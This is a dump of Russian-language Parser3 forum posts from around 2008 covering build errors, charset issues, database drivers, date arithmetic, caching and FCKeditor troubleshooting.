"68073","сообщите плиз версию parser3, а также $request:charset, $response:charset и browser.\
\
P.S. вписал в todo, проверю."
"68074","Также мне не очень понятно зачем проверять есть ли запись в базе или нет.\
\
Как я понимаю вы выгружаете из 1с полный список товаров со всеми текущими изменениями, следовательно дроп старую таблицу и криэйт новую будет по-моему быстрее.\
\
Или же из базы выгружать только новые и только изменённые, тогда я сомневаюсь что счёт пойдёт на тысячи."
"68076","Подскажите, где их взять... libgc в данном случае. Не нашел нигде."
"68077","Гениально. Но как работает - так и не понял :)"
"68078","1. google\
2. в скрипте buildall... можно подсмотреть откуда их пытается грузить автоматика при сборке"
"68079","Добрый день!\
\
Ищем программиста на Parser3. Самый лучший вариант если Вы из Тулы. Если нет, возможна удаленная работа. За всеми подробностями в ICQ: 284563712.\
\
Вопрос к создателям форума, можно ли как-нибудь посмотреть пользователей из Тулы?"
"68080","Здравствуйте,\
\
^memory:compact в сборке под OsX 10.5 (взято с http://www.parser.ru/download/contrib/) вызывает 500-ю ошибку.\
Никто не решал такую проблему?"
"68081","К примеру показать, что в логах."
"68082","Я бы предоставил, если бы она была..\
\
В логах как обычно высокосодержательное Premature end of script headers\
В Internal Server Error выбивает даже такой код:\
\
[code]\
@main[]\
^memory:compact[]\
[/code]\
\
-rwxrwxrwx	_www _www	parser3.cgi\
cgi без safe-mode\
\
Это таки вся информация, которая есть.\
\
Upd: Да, кстати, ^memory:compact[] не вызывает 500-ю ошибку,\
если стоит в  @postprocess[]"
"68083","Парсер крутится на FreeBSD. Ни как не могу найти нормальный клиент Оракла под Фрю. В портаз только OCI8, а сервер Оракла v.10 да вообще под Виндой пашет. Может кто встречался с такой проблемой?"
"68084","Ну хорошо, а если деструктор используется не для освобождения памяти, а для каких-то завершающих действий?\
\
Пример. Есть некоторый объект, которому скрипт в процессе работы передает некоторые данные. Данных может быть произвольное количество. Объект должен эти данные обработать и скинуть в БД.\
Хорошо, если, например, данные передались объекту 1 или 2 раза. А если 10? 20? \
\
Поэтому как вариант решения: данные складывать в какую-нибудь табличку в памяти. По окончании объекта автоматически (это важно) вызывается некоторый метод, который эти данные скидывает в БД одним запросом, присваивает таблице [], делает мемори:компакт.\
\
Было бы здорово ИМХО :-) Можно, конечно, добавить классу метод flush или что-то типа того, который бы делал то же самое, но тут главное не забыть его вызвать везде, где нужно... А с этим проблема :-)"
"68085","[quote]\
Драйвер PgSQL в строке соединения теперь понимает опцию autocommit=0\
[/quote]\
На самом деле не понимает и продолжает открывать и закрывать транзакции на каждый запрос\
\
Parser/3.3.0 (compiled on i386-pc-win32)"
"68086","Parser/3.2.2 (compiled on i686-pc-linux-gnu)\
\
charsets непомню - но игрался с разными - по умолчанию стояла utf\
\
сделал свитч по цифрам)))"
"68088","Доброго дня всем!\
Собрал парсер 3.3.0 из http://www.parser.ru/f/1/download/src/parser-3.3.0.tar.gz\
на виртуальном сервере Ubuntu 8.04 в полном соответствии с инструкциями:\
http://www.parser.ru/docs/lang/?compilesrc.htm, а также c INSTALL-ом.\
Скриптом ./buildall-without-xml\
\
Прописал файлу parser3 и директории cgi-bin все необходимые разрешения на доступ и исполнение, нужного владельца.\
При обращении к парсеру:\
http://t3.on.isu.ru/cgi-bin/parser3\
все браузеры ведут себя по-разному ))). Файрфокс, например, выдает: \"Parser/(null)\"\
Возникает 500 ошибка.\
http://t3.on.isu.ru/cgi-bin/test-cgi - работает нормально\
\
Apache/2.2.8 (Ubuntu) Server пишет в логи следующее:\
[code]access.log:\
xx.xx.xx.xx  - - [17/Oct/2008:02:51:06 +0900] \"GET /cgi-bin/parser3 HTTP/1.1\" 500 13 \"-\" \"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\"\
\
error.log:\
[Fri Oct 17 02:51:06 2008] [error] [client xx.xx.xx.xx] [Fri Oct 17 02:51:06 2008] [6752] Parser/3.3.0 (compiled on x86_64-unknown-linux-gnu) [no request info]\
[/code]\
\
Вопросы.\
1. В чем проблема?\
2. Может собрать с какими-нибудь опциями другими?\
\
ps Система новая, другой версии парсера там не было."
"68089","Интересно , много ли форумчан его используют - и насколько это оправданно"
"68090","Предыдущую проблему решил, нужно было поставить wget.\
\
\
Но теперь выдает вот что:\
\
[code]\
In file included from ./include/private/gc_priv.h:66,\
                 from allchblk.c:19:\
./include/private/gcconfig.h:477: error: expected identifier or '(' before '--' token\
*** Error code 1\
\
Stop in /home/isirotin/parser3project/src/gc6.8.\
*** Error code 1\
\
Stop in /home/isirotin/parser3project/src/gc6.8.\
Configuring parser3...\
configure: WARNING: to regenerate Parser grammar YOU WOULD NEED BISON\
configure: WARNING: enabling charset windows-1251\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
Building parser3...\
make: don't know how to make install. Stop\
DONE\
[/code]"
"68091","помнится Sumo говорил, что для сборки на freebsd7 ему пришлось заменить gc6.8 на gc7.0 (правка одной строки в ./buildall-...), иначен не собиралось.\
\
на наших freebsd7 все собиралось и с gc6.8.\
\
о причинах данной проблемы я поведать не могу, я в этом не спец."
"68092","1. вы пишите, что при обращении у parser3.cgi показывается 'Parser/(null)', при этом в error.log у вас 'Parser/3.3.0 (compiled on x86_64-unknown-linux-gnu)'. фишка в том, что выдаётся одна и та-же строка, которая попадает в pa_version.h при работе configure. как она в разных случаях может выдавать разное мне неясно.\
\
2. в \"прислали пользователи\" мне присылали ссылку на собранные бинарники под Ubuntu. насколько я понимаю, проблем там при сборке не возникало. понятно, что случаи разные бывают.\
\
3. если честно, то я не пробовал собирать из архива. всегда собирал из cvs. возможно закралась ошибка при создании этого архива с исходниками (делал make dist). попробуете собрать из cvs release верку?"
"68093","Люди, спасите. Ничего не понимаю.\
На мастерхосте живет сайт, описан метод:\
[code]\
@send_query[]\
^if(def $form:fio && def $form:message){\
^mail:send[ \
      $.from[real@adress.ru] \
      $.to[real@adress2.ru]\
      $.CC[realadress@mail.ru] \
      $.subject[Сообщение с сайта XXXXXX] \
      $.text[\
Поступило сообщение с сайта.\
Отправитель: $form:fio, его адрес $form:addr , телефон $form:phone , электронная почта $form:email .\
Сообщение: $form:message\
\
      ] \
] \
<div class=\"main_text\">Сообщение отправлено.<div>\
}{\
<div class=\"main_text\"><font color=\"red\">Не заполнены все обязательные поля формы.</font></div>\
}\
[/code]\
\
В общем понятно, метод отправляет письмо, подставляя значения из полей форм.\
\
В  auto.p:\
[code]\
$MAIL[\
	$.sendmail[/usr/sbin/sendmail -t -i -f postmaster]\
]\
[/code]\
\
Все, как по нотам, но получаю ошибку:\
[b]\
[Fri Oct 17 13:41:46 2008] [7309] /путь_к_файлу/: 'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime]\
[/b]\
\
И все бы ничего, но при явном обращении к sendmail по SSH все работает:\
[code]\
echo 'Test' | /usr/sbin/sendmail -i -t mail@domain.tld -f postmaster\
[/code]\
\
Отправляет на раз.\
Что делать, в какую сторону думать? Техподдержка говорит, что все у них с sendmail в порядке, да и SSH это подтверждает.\
\
Может, сталкивался кто?"
"68099","Возникла следующая проблема - при инкрементации даты по дням в день перехода на зимнее время +1 день не даёт следующего дня, а только 23:00 этого же. Таким образом в отчетной форме дублируются записи.\
Например:\
[code]$now[^date::create(2008;10;26)]\
^for[dd](0;6){\
  $now_day[^date::create($now+$dd)]\
  <p>^now_day.sql-string[]</p>\
}[/code]\
дает результат:\
[code]2008-10-26 00:00:00\
2008-10-26 23:00:00\
2008-10-27 23:00:00\
2008-10-28 23:00:00\
2008-10-29 23:00:00\
2008-10-30 23:00:00\
2008-10-31 23:00:00[/code]\
Теперь сам вопрос: можно ли перед инкрементом даты как-то отключить на время учет перехода на зимнее время, чтобы +1 день действительно был +1 день, а не 23 часа?"
"68100","но можно посмотреть на значение поля daylightsaving в исходной дате + в результирующей дате, и в зависимости от этого внести поправку (добавить/удалить час)."
"68101","Сейчас приблизительно так и сделал, но все равно как-то не логично - добавляем +1 день, а не +24 часа - а получается что добавляем часы. Если бы логику обработки + день/ей как-то отделить от логики + час/часов, а так во многих местах \"заглушки\" нужно ставить. Хотя нет так нет."
"68102","libparser3mysql.so или libmysqlclient.so ?\
\
Сообщения об ошибках разные, при разных версиях и того и другого файла. Но как узнать, какой файл подходит к моей ОС, а какой нужно подбирать?\
\
Надеюсь понятно изьяснился )"
"68103","Собрал. Теперь вот что:\
\
Ошибка вида:\
[code]libparser3mysql.so' can't open the module [<no type>] [uri=/, method=GET, cl=0][/code]\
\
Почитав форум, понял что это, возможно, изза того что [code]libmysqlclient.so[/code] в 64битном виде, а libparser3mysql.so -в 32. \
Действийтельно, у меня стоит FreeBSD 7.0 amd64. \
Не долго думая, взял [code]libmysqlclient.so[/code] той-же версии, но с сервера где стоит FreeBSD 7.0 i386.\
\
Ситуация абсолютно аналогичная.  \
[code]libparser3mysql.so[/code] брал разные, в том числе:\
\
http://www.parser.ru/f/1/download/freebsd6/parser3sql_10_0_freebsd63R_mysql.tar.gz\
\
\
http://oleg.volchkov.net/download/parser/parser3_3_0_freebsd70_cgi_xml_with_sql.tar.gz\
\
и собранный вручную. В каждом случае ошибка та же самая.\
\
\
Подскажите пожалуйста!"
"68104","Ну или еще вариант - у Oracle \"дорогой\" коннект к базе.\
Из минусов - требуется много больше памяти для Apache (поэтому Apache лучше использовать как backend), собирать сложнее, возможны утечки памяти (значит MaxRequestsPerChild не 0)."
"68105","База в 1251, сайт utf-8, в htacces прописан utf-8\
что еще надо сделать?"
"68108","Убив уйму времени уже почти смирился с тем, что обновится не удастся.\
\
OS: FreeBSD 6.3-STABLE\
\
Собиралось всё из исходников. Не скажу, что гладко, но преодолеть удалось.\
\
Parser\
./configure --prefix=/srcs/parser3install  --with-static-gc=/srcs/gc/lib --with-static-pcre=/srcs/pcre --with-static-xml=/srcs/gnome --disable-safe-mode --with-pgsql-client=/usr/local/lib/libpq.so --with-apache13=/srcs/apache_1.3.41 --silent\
\
Потом бубны с touch, потом gmake\
\
Дальше конфигурим и собираем апач, тут тоже всё прошло не совсем гладко, но помучившись получилось.\
\
Протестировал, тесты парсер проходит, вот оно казалось счастье...\
\
Собираю из исходников слитых с цвс /sql/pgsql драйвер для pg.\
./configure --prefix=/srcs/parser3install --with-pgsql-inc=/usr/local/include\
Собираю, копирую, пути в авто.п проверяю, в результате при коннекте к базе:\
'/usr/local/lib/libparser3pgsql.so' can't open the module [<no type>]\
\
Пробовал качать другой драйвер parser3pgsql-10.0 - собирал так же, такая же ситуация. Со старым драйвером естественно новый парсер не работает.\
\
Подскажите куда держать путь дальше, мои руки и веки опускаются :("
"68110","хм... ну сам инсталятор был под 32 платформы. Кажется.\
Как проверить более точно? uname -m отдаёт i386"
"68111","Пропатчить парсер.\
\
src/lib/ltdl/ltdl.c\
\
В 963ей строке заменить\
#  define DLERROR(arg)        LT_DLSTRERROR (arg) \
на \
#  define DLERROR(arg)  dlerror () \
\
После этого парсер начнет выдавать конкретное сообщение об ошибке\
\
по-хорошему там нужно configure поправить, чтобы правильно определялось наличие dlerror(), но я не умею"
"68112","Пробуйте собрать Парсер с опцией --with-dynamic-stdcpp."
"68115","Имеется: сервер, несколько IP адресов.\
\
Возможно ли написать скрипт, который будет отправляться запросы (загружать файлы, страницы), но при этом запросы хочется отправлять с разных IP адресов?\
\
Скрипт нужен чтобы обойти ограничения на кол-во соединений по IP.\
\
Если на Парсере возможно, подскажите в какую сторону копать. Если нет, то подскажите в какую сторону смотреть вообще (PHP, Perl)."
"68116","Есть код, в конце которого надо переменной $_is_login присвоить логическое значение false. \
\
Делаю так:\
$_is_login(false)\
\
Результат:\
invalid number (double)\
\
P.S. Со значением true, естественно все точно также\
\
Что я делаю не правильно?"
"68118","У меня denwer. Написано что parser3. Вероятно 3.0. Где можно точно посмотреть?"
"68119","Работает. Просто старый denwer был поставлен. Спасибо Sumo, помог"
"68120","Поставил parser в качестве модуля Apache 1.3.37, все делал по инструкции. Запускаю Apache: [i]Apache/1.3.37 (Win32) Parser/3.3.0(compiled on i386-pc-win32) running...[/i], создал html страницу, написал: [i]^eval(2*2)[/i], при открытии этой страницы parser выдает ошибку: [b]Unhandled Exception[/b], а в логе Apache: [i]'./charsets/windows-1251.cfg' read failed: No such file or directory (2), actual filename './charsets/windows-1251.cfg' [file.missing][/i]"
"68123","попытались со stur поставить новый парсер 3.3.0 модулем к апачу http://www.parser.ru/forum/?id=68108, запустили и нашли вот что:\
\
[code]\
	$pSQL[^pgsql::init[$connect_string][\
		$.is_debug(1)\
	]]\
\
	^pSQL.server{\
		^initInterface[]\
		^try{\
			$tmp[^MAIN:pSQL.sql[void]{SAVEPOINT test_point}]\
			$tmp[^MAIN:pSQL.sql[table]{SELECT * FROM node LIMIT 1}]\
			$tmp[^MAIN:pSQL.sql[void]{RELEASE SAVEPOINT test_point}]\
		}{\
			$exception.handled(1)\
			$exception.comment\
		}\
	}\
[/code]\
\
выдает ERROR: no such savepoint\
если же закомментировать запрос с селектом, то ошибки нет.\
при старом парсере 3.2.3b все работает нормально.\
\
пробовали в строке коннекта писать так:\
pgsql://user:pass@host/database?ClientCharset=utf-8&autocommit=0\
\
и так:\
pgsql://user:pass@host/database?ClientCharset=utf-8&autocommit=1\
\
не помогло."
"68126","если не трудно, скажите когда пофиксится..."
"68129","[code]<html>\
...\
топик xyz (/topics/xyz/)\
...\
<form method=\"post\">\
	<input type=\"text\" name=\"comment\"/>\
	<input type=\"submit\" value=\"Отправить\"/>\
</form>\
\
^if(def $form:comment){\
	^db{\
		^void:sql{insert into comments (text, author) values ('$form:comment', '$user.name')}\
	}\
#	Можно ли так обнулять кеш?\
	^cache[/cache/comments/xyz](0){}\
#\
	$response:location[http://$env:SERVER_NAME/topics/xyz/]\
}\
\
^cache[/cache/comments/xyz](3600){\
	^db{\
		$comment[^table::sql{select id, author, text from comments}]	\
		^if(def $comment){\
			^comment.menu{\
				<p>$author: $text</p>\
			}	\
		}{\
			Пока ещё никто не прокомменитровал.\
		}\
	}\
}\
...\
</html>[/code]"
"68130","3.3.0, HEAD не собираются и в Ubuntu из-за отсутствия pcre.h:\
[code]\
make[2]: Entering directory `/home/apache/parser3project/parser3/src/main'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_pool.o -MD -MP -MF \".deps/pa_pool.Tpo\" -c -o pa_pool.o pa_pool.C; \\\
	then mv -f \".deps/pa_pool.Tpo\" \".deps/pa_pool.Po\"; else rm -f \".deps/pa_pool.Tpo\"; exit 1; fi\
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h:20:18: error: pcre.h: No such file or directory\
../../src/include/pa_charset.h:23:27: error: pcre_internal.h: No such file or directory\
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h:96: error: 'tables_length' was not declared in this scope\
make[2]: *** [pa_pool.o] Error 1\
[/code]\
\
В CVS этот файл удален: http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/lib/pcre/Attic/pcre.h"
"68131","теперь pcre библиотека также собирается отдельно, по аналогии с gc, libxml и libxslt, соотв. она находитсяв другом месте, и пути к ней прописаны соответствующие."
"68132","Здравствуйте!\
\
У меня такой вопрос. Пытаюсь предотвратить появление дубликатов при добавлении товаров в корзину.\
Идентификаторы товаров приходят в виде хеша и записываются в таблицу 'baskets'.\
Перед добавлением выбранных товаров я попытался сделать проверку не содержится ли в БД в корзине выбранные товары, что-то не получилось.\
Не могу понять почему.\
\
Заранее благодарю за помощь.\
[code]\
^connect[$connect_string]{	\
	$basket[^table::sql{SELECT\
		is_complete, user_id, amount, product_id\
	FROM\
		baskets\
	WHERE\
		is_complete  = '0'\
		AND user_id = '$cookie:user'\
	}]\
\
								^if(^is_ok[]){\
									$now[^date::now[]]\
									$product[$form:tables.product]\
																		\
									^product.menu{\
										^basket.menu{										\
											^if(^basket.product_id.match[$product.field^$][i]){}{\
												^connect[$connect_string]{ \
													^void:sql{INSERT INTO baskets\
															(user_id, product_id, amount, dt)\
													VALUES\
		    				  							('$cookie:user', '$product.field', '1', '^now.sql-string[]')\
													}\
												}\
											}\
										}\
									}\
[/code]"
"68134","в принципе можно, только ^file:delete[/cache/comments/xyz] будет ничем не хуже :)\
\
да, вот ещё что: выдача заголовка $response:location не останавливает обработку на этом операторе, т.е. у вас определённый $form:comment приведёт к добавлению записи в БД, очистке кеша, выдачи http-заголовка и последующему формирования страницы в операторе cache. после этого браузер сделает редирект и ещё раз будет выполнен оператор cache (правда на этот раз он просто выдаст уже сформированное содержимое).\
\
по моему правильнее поместить оператор cache в else секцию оператора ^if(def $form:comment)..."
"68135","Вывожу данные на страницу с преобразованием даты!\
 делаю так\
[code]^dtf:format[%e %b;$state.date][/code]\
\
переменная $state.date это значение из базы\
непонятно  то что на локальном.. на компе все работает.. как все разместил на сайт в инет.. то появилась эта ошибка!\
\
ошибка в логе парсера след.\
\
[Mon Oct 27 11:10:41 2008] [6605] /: /home/****/domains/******.ru/public_html/classes/dtf.p(269:10): 'create' Can't create date. [dtf] [uri=/, method=GET, cl=0]\
\
что бы это могло быть ?"
"68136","Прлблема была в том что когда делал импорт данных через SQL\
дата не проставилась.. при импорте изза чего такое могло быть ?"
"68139","Т.е. в момент когда\
[code]^file:delete[/cache/comments/xyz][/code]\
Кто-то (другой посетитель) читает кеш. Он его(файл) лочит? Если да, то, даже если ловить эксепшн на удаление файла, в итоге-то кеш не обнулится.\
\
Конечно такой ход событий возможет только при большой посещаемости ресурса, но всё же...\
\
[quote]по моему правильнее поместить оператор cache в else секцию оператора ^if(def $form:comment)...[/quote]Согласен, пример писал \"на коленке\"."
"68141","^file:delete[] не сможет удалить файл cachefile-а, если он в данный момент читается другим процессом.\
\
в отличие от него ^cache[...](0) сделает несколько попыток его \"удаления\" с ожиданием между попытками."
"68143","При попытке загрузить парсерный скрипт с помощью вот такого яваскрипта\
\
[code]\
function testload(){\
	var http_ready = 0;\
	var xmlhttp = getHTTPObject();\
	xmlhttp.open(\"POST\", \"test.p3?status=1&andmore=123\", true);\
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=utf-8');\
	xmlhttp.onreadystatechange = function(){\
		if(xmlhttp.readyState == 4) {\
			if (xmlhttp.status == 200) {\
				if(xmlhttp.responseText != ''){\
					cnt = document.getElementById('load');\
					cnt.innerHTML = xmlhttp.responseText;\
				}\
			} else {\
				alert('Ошибка доставки данных:\\nНевозможно получить ответ от сервера.');\
			};\
		}\
	}\
	xmlhttp.send(null);\
}\
[/code]\
\
Получаем ошибки в логе, причем каждый раз разные:\
\
/test.p3(3:17): 'UTF-8ON.JS' unknown charset [parser.runtime]\
/test.p3(3:17): 'UTF-8<PRE>' unknown charset [parser.runtime]\
/test.p3(3:17): 'UTF-8<LI>' unknown charset [parser.runtime]\
/test.p3(3:17): 'UTF-8BSP' unknown charset [parser.runtime]\
/test.p3(3:17): 'UTF-8.P' unknown charset [parser.runtime]\
\
парсерный код test.p3 :\
\
[code]\
@main[]\
body = $request:body <br/>\
post = $request:post-charset <br/>\
^form:fields.foreach[k;v]{\
	$k = $v\
}[<br/>]\
[/code]\
\
т.е. падает на строке с $request:post-charset\
как показали дальнейшие опыты - падает также на любом упоминании $form:\
если же в после кодировки указать точку с запятой, то начинает работать:\
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=utf-8;');\
\
проблема в том, что в используемых ява-скриптах не прописано явно Content-Type, а некоторые браузеры (FireFox3) дописывают туда автоматом charset=utf-8 без точки с запятой... и как следствие там ничего не работает :(\
\
версия парсера 3.3.0"
"68145","падает при попытке разобрать пришедшие параметры.\
если без низ сохранить $request:body в файл, что там? (ну очень смущает отсутствие пробельного символа после UTF-8 в вашем логе)\
\
P.S. я похожее проверял, но т.к. мне никто не присылал готового теста/bug.html для этого, покрывающего много вариантоа, я писал свой, причем автоматизированную проверку не делал. и вроде это заработало, по крайней мере не жаловались после добавления разбора кодировки пришедшего post запросаещё в бете.\
\
P.P.S. в todo добавил, дойтут руки -- буду смотреть."
"68146","Миша, не подскажете, как поправить эту ошибку при сборке «Парсера»?\
\
В parser3project/parser3/src/lib/pcre/ нет файла pcre.h, как нет его в папке parser3project/parser3/src/include/. Нужно отдельно скачивать перечисленные Вами библиотеки и устанавливать их в систему?"
"68147","Никак не соображу, где и что не так. Перепробовал все что мог - не помогает. Все работает, а загружать картинки в текстах в FCKeditor не могу. \
Поэтому прошу, если кому не жалко пары-тройки минут, скину на почту данные на фтп-доступ на тестовый сайт. И если найдете там ошибку - просьба сообщить, что там было не так?\
Можно в аську 988-988-26 или на мейл ilyas_urg [a] mail.ru.\
\
Заранее благодарю."
"68149","В конфиге парсера по умолчанию cp1251, надо постаивть utf8. Я с этим тоже парился."
"68150","Есть форма:\
[code]\
<p>Реактор:\
  <SELECT name=\"reactor_type\">\
    <OPTION selected>^if(def $form:reactor_type){$form:reactor_type}{Выберите тип реактора}</OPTION>\
    <OPTION value=\"ВВЭР-440\">ВВЭР-440</OPTION>\
    <OPTION value=\"ВВЭР-1000\">ВВЭР-1000</OPTION>\
    <OPTION value=\"РБМК-1000\">РБМК-1000</OPTION>\
    <OPTION value=\"РБМК-1500\">РБМК-1500</OPTION>\
    <OPTION value=\"ЭГП-6\">ЭГП-6</OPTION>\
    <OPTION value=\"ЭГП-440\">ЭГП-440</OPTION>\
    <OPTION value=\"БН-600\">БН-600</OPTION>\
    <OPTION value=\"PWR\">PWR</OPTION>\
    <OPTION value=\"PHWR\">PHWR</OPTION>\
    <OPTION value=\"PHWR-170\">PHWR-170</OPTION>\
    <OPTION value=\"PHWR-220\">PHWR-220</OPTION>\
    <OPTION value=\"PHWR-CANDU\">PHWR-CANDU</OPTION> \
    <OPTION value=\"BWR\">BWR</OPTION>\
    <OPTION value=\"BWR-6\">BWR-6</OPTION>\
    <OPTION value=\"HWLWR\">HWLWR</OPTION>\
  </SELECT>\
</p>\
[/code]\
Переменная $form:reactor_type передается в адресную строку вида:\
[code]\
<a href=\"?count=$count&page=$i&center=$form:center&d1=$d_1b&d2=$d_2&reactor_type=$form:reactor_type\">$i</a>\
[/code]\
Соотвественно пример строки после нажатия ссылки:\
http://10.2.180.43/wano.html?count=191&page=2&center=moscow&d1=1997-1-1&d2=2004-1-1&reactor_type=ВВЭР-1000\
\
Теперь считывается пременная из адресной строки reactor_type=ВВЭР-1000 как $form:reactor_type\
 \
После этого поле формы не меняется, поскольку берется их адресной строки.. \
\
Как сделать чтобы переменная $form:reactor_type изменялась после выбора типа реактора и оставалось той же до следующего выбора?\
Может какоето промежуточное хранилище использовать?"
"68151","[code]\
<SELECT name=\"reactor_type\">\
	<OPTION value=\"...\"^if($value eq $form:reactor_type){ selected=\"selected\"}>...</OPTION>\
	...\
</SELECT>\
[/code]"
"68152","например сначала отсортировать по дате, а по том по типу содержимого..\
\
например\
  date         type      name                  body\
2008-05-05   articles   Новое на сайте       бла бла блаа\
2008-05-15   articles   Новое на сайте22     бла бла блаа\
2008-05-12   obzor      Материалы            бла бла блаа\
\
вопрос сначала сделать сортировку по дате, а потом отсортированное по дате еще раз отсартировать по type\
\
или это не возможно ?"
"68155","[code]\
если я правильно понял...\
\
SELECT * FROM tab ORDER BY date DESC, type DESC\
\
сортируем два столбца по убыванию\
\
[/code]"
"68156","ага правильно, спасибо"
"68157","[code]\
$testxdoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"WINDOWS-1251\" standalone=\"no\"?>\
<document>\
	<pub>Публикация</pub>\
</document>}]\
\
# добавляем узел letter\
$lNode[^testxdoc.createElement[letter]]\
$tmp[^testxdoc.documentElement.appendChild[$lNode]]\
\
# выбираем существующий в дереве узел\
$pub[^testxdoc.selectSingle[/document/pub]]\
\
# пытаемся перенести существуюший узел в только что созданный\
#$pub[^testxdoc.documentElement.removeChild[$pub]] \
$tmp[^lNode.appendChild[$pub]]\
\
# результат\
^taint[xml][^testxdoc.string[$.indent[yes]]]\
[/code]\
\
На этом скрипте парсер 3.2.3b (compiled on i686-pc-linux-gnu) падает с сообщением в лог - Premature end of script headers: parser3\
в браузере вижу Internal Server Error\
\
Если раскомментировать строку с removeChild - работает.\
\
По идее должно хватать одного appendChild, ибо в доках (http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-core.html#method-appendChild) написано:\
[quot]If the newChild is already in the tree, it is first removed.[/quot]"
"68158","\"Просто так\", как правило, FCKeditor не глючит. Если не работает - то выдает ошибку. Пока я сталкивался только с одной ошибкой - имена файлов: в них используются \"запрещенные\" символы, пробелы или русские буквы."
"68159","http://test.urganaev.ru/cp/news.html"
"68160","в libxml, как и везде, тоже есть баги :)\
можно почитать их changelog-и, можно собрать более новую версию библиотеки.\
\
когда я релизил 3.3.0, то уже была доступна libxml 2.7, однако т.к. была смена не последней цифры и т.к. у меня либа не собралась на freebsd 4 я не стал разбираться и релизить с ней. и возможно правильно сделал, т.к. с тех пор уже вышло 2 сервис-релиза (текущий 2.7.2). \
\
можете попробовать собрать с этой версией либы (на *nix в buildall подправить циферку и удалить собранные so-шки этих библиотек, на win32 -- распаковать в каталог win32 не перезаписывая существующие файлы и запустить compile.cmd)"
"68163","кстати - знающие люди - подскажите )\
\
в общем для папки с fckeditor нужно отключить обработку HTML-файлов парсером, ибо глюк получается не только в картинках, но и во многих других диалоговых окнах.\
\
в этой папке у меня лежит .htaccess со следующим содержанием:\
[code]AddHandler parsed-htl html[/code]\
и вроде как все работает )) но глубоко сомневаюсь, что правильное его отключение делается таким образом )"
"68166","Имеется html-форма:\
\
[code]\
<form action=\"\" method=\"POST\">\
	<input type=\"text\" name=\"ss\" value=\"$form:ss\">\
	<input type=\"submit\" value=\"go\">\
</form>\
[/code]\
\
Часть скрипта в кодировке windows-1251, который эту форму принимает:\
\
[code]\
$ss[$form:ss]\
$statement[SELECT id, short_name FROM enterprise WHERE short_name ~ '^^$ss']\
$tmp[^MAIN:pSQL.sql[table]{$statement}]\
[/code]\
\
Из формы передаем кириллическую букву \"А\".\
В версии 3.2.3b находятся все предприятия с названием на А\
В версии 3.3.0 с новым драйвером к pgsql запрос выдает только строки, начинающиеся с символов \"А[пробел]\".\
\
Если в запрос вставить ^untaint[as-is]{$ss} то начинает искаться как и раньше. Если написать напрямую в скрипте short_name ~ '^^А', также все работает.\
\
Кодировка базы - UTF-8, при подключении указывается ?ClientCharset=utf-8\
\
Как дальше жить? :)"
"68167","В этом случае выходит эта ошибка\
\
XML request error: Internal Server Error (500)"
"68169","Есть несложная задача - посчитать количество дней между двумя датами. Штатно парсер этого не умеет, как я понял, расширений не нашел. Подскажите как проще это сделать, не хочется огород городить."
"68170","а вы попробовали вычесть из одной даты другую?"
"68172","Вот что показывает тестовый файл...\
хотя все пути и все кодировки прописаны \
вот строка соединения с базой\
\
$SQL.connect-string[mysql://base:pass@localhost/base?charset=cp1251_koi8]\
$MAIN:pSQL[^MySql::create[$SQL.connect-string;\
	$.bDebug(1)\
	$.sCacheDir[/poll/data/sql_cache]\
]]\
\
\
Работа с SQL\
\
^int:sql{SELECT 2+2}: 4\
Определение серверной кодировки MySQL: $request:charset (WINDOWS-1251) не совпадает с переменной MySQL сервера character_set/character_set_client (SQL сервер вернул значение cp1251).\
Если вы уверены, что символы из кодировки WINDOWS-1251 могут быть без потери преобразованы в кодировку CP1251 и обратно, то в строке соединения вам нужно задать параметр: ?ClientCharset=CP1251, при этом парсер будет перекодировать в указанную кодировку отправляемые MySQL серверу запросы (из кодировки $request:charset), а также перекодировать полученные от него результаты обратно.\
\
SQL преобразование строки с русским алфавитом к верхнему регистру: преобразование было произведено не корректно. \
Результат: '?????????????????????????????????' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ')."
"68173","Да, пробывал. Не понятно как в количество дней преобразовать."
"68174","база была в сравнениее с latin1_swedish\
а таблицы все в cp_1251\
\
сделал всю базу в cp1251 и все заработало"
"68176","Проблема может быть в нескольких местах:\
- в пути к файлам есть ошибки (запрещенные символы)\
- проблемы в настройках\
\
К сожалению, вы используете ASP-коннектор. По языку сказать ничего не могу.\
\
Посмотрел ваш конфиг http://test.urganaev.ru/FCKeditor/fckconfig.js\
По нему сложно что-то сказать. Но если вы ответите:\
1. Существует ли скрипт, на который вы ссылаетесь в конфиге:\
http://test.urganaev.ru/FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp\
2. В чем причина использования именно ASP а не PHP или Parser (в форуме есть текст Коннектора на Parser)"
"68177","Да, это понятно. А как вывести само числовое значение даты?"
"68184","Если кому надо - я его немного усовершенствовал:\
1. Поправлен ряд багов внесенных при переходе на Unicode (кривые сообщения об ошибках)\
2. Добавлена поддержка параметризованных (пока неименованных) запросов.\
Что это такое?:\
Параметризованный запрос с позиционными параметрами представляет запрос вида:\
[code]SELECT c1, c2 FROM t WHERE c1 = ? AND c2 = ?[/code]\
Где знаки вопроса в запросе и представляют собой ссылки на параметры содержащие данные. Первый знак ссылка на первый параметр, второй на второй и так далее. \
Сами параметры передаются с помощью хэша bind. Пример:\
[code]\
$t[^table::sql{SELECT c3, c4 FROM t WHERE c1 = ? AND c2 = ?}[\
		$.bind[ \
			$.1[Вася Пупкин]\
			$.2(30)\
		]\
	]\
]\
[/code]\
Имена ключей хэша соответсвуют позиции параметра в запросе. Если встречается имя которое невозможно преобразовать в число или\
его значение выходит за границы диапазона 1-<количество параметров> - выбрасывается исключение.\
\
ВАЖНО: Нумерация параметров начинается с единицы.\
\
